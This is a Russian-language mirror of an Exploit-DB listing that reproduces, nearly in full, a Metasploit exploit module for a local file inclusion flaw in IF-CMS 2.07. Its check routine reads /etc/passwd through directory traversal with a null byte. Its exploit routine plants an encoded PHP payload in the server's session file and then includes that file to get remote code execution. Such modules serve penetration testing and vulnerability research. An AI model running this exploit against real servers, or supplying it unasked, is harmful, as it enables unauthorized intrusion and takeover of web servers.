- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 17418
- Проверка EDB
-
- Пройдено
- Автор
- TECR0C
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- N/A
- Дата публикации
- 2011-06-20
Код:
##
# $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# -*- coding: utf-8 -*-
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'IF-CMS',
'Description' => %q{
Local File Inclusion vulnerability within IF-CMS 2.07 which allows
remote attackers to include and execute arbitrary local files via a ../ at the newlang
parameter within the index.php page.
},
'Author' => ['TecR0c'],
'License' => BSD_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
['URL' => 'http://sourceforge.net/projects/if-cms/'],
],
'Payload' =>
{
# max header length for Apache (8190),
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
# minus 23 for good luck (and extra spacing)
'Space' => 8190 - 23,
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'BadChars' => "'\"`" # quotes are escaped by PHP's magic_quotes_gpc in a default install
},
'Targets' => [['If-CMS 2.07', {}]],
'DefaultTarget' => 0,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DisclosureDate' => 'March 15 2011'
))
register_options(
[
OptString.new('URI', [true, 'PHP file contains the vulnerable parameter', '/index.php']),
OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']),
], self.class)
end
def check
urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00"
target_code = 200
print_status "Attempting to POST to #{urltotest}"
response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'})
unless defined? response
print_error 'Server did not respond to HTTP GET request'
return Exploit::CheckCode::Safe
end
code = response.code
unless code == target_code
print_error "Expected HTTP code #{target_code}, but got #{code}."
return Exploit::CheckCode::Safe
end
print_status "We received the expected HTTP code #{target_code}"
# We will need the cookie PHPSESSID to continue
cookies = response.headers['Set-Cookie']
# Make sure cookies were set
if defined? cookies and cookies =~ PHPSESSID_REGEX
print_status "We successfully sent a PHPSESSID of '#{$1}'"
else
print_error 'The server did not send us the cookie we were looking for'
return Exploit::CheckCode::Safe
end
# Check to see loca file inclusion is possible
if response.body =~ /root/
print_status "We were successfully able to validate gp_magic_quotes = Off"
return Exploit::CheckCode::Vulnerable
else
print_error 'The webserver seems to have gp_magic_quotes On'
return Exploit::CheckCode::Safe
end
end
def exploit
uri = datastore['URI']
# Prepare PHP file contents
encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00"
# Deliver the payload
print_status('Writing malicious payload to the remote server')
delivery_response = send_request_cgi({'uri' => urlpayload})
cookie = delivery_response.headers['Set-Cookie']
# Make sure cookie is set
if defined? cookie and cookie =~ PHPSESSID_REGEX
print_status "file containing payload is 'sess_#{$1}'"
else
print_error 'The server did not send us the cookie we were looking for'
return Exploit::CheckCode::Safe
end
# Make sure cookies were set
if cookie.nil?
raise RuntimeError, 'The server did not set any cookies'
end
# Contents of PHPSESSID. About to be set.
session_id = nil
# Retrieve the session id from PHPSESSID
if cookie =~ PHPSESSID_REGEX
session_id = $1
else
raise RuntimeError, 'The cookie PHPSESSID was not set.'
end
# The call should return HTTP code 200
if delivery_response.code != 200
raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
end
# Prepare the value that will execute our payload
detonation = datastore['PATH'].sub('!SESSIONID!', session_id)
# Small delay as we're just going to assume we succeeded.
urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00"
send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01)
handler
end
end
- Источник
- www.exploit-db.com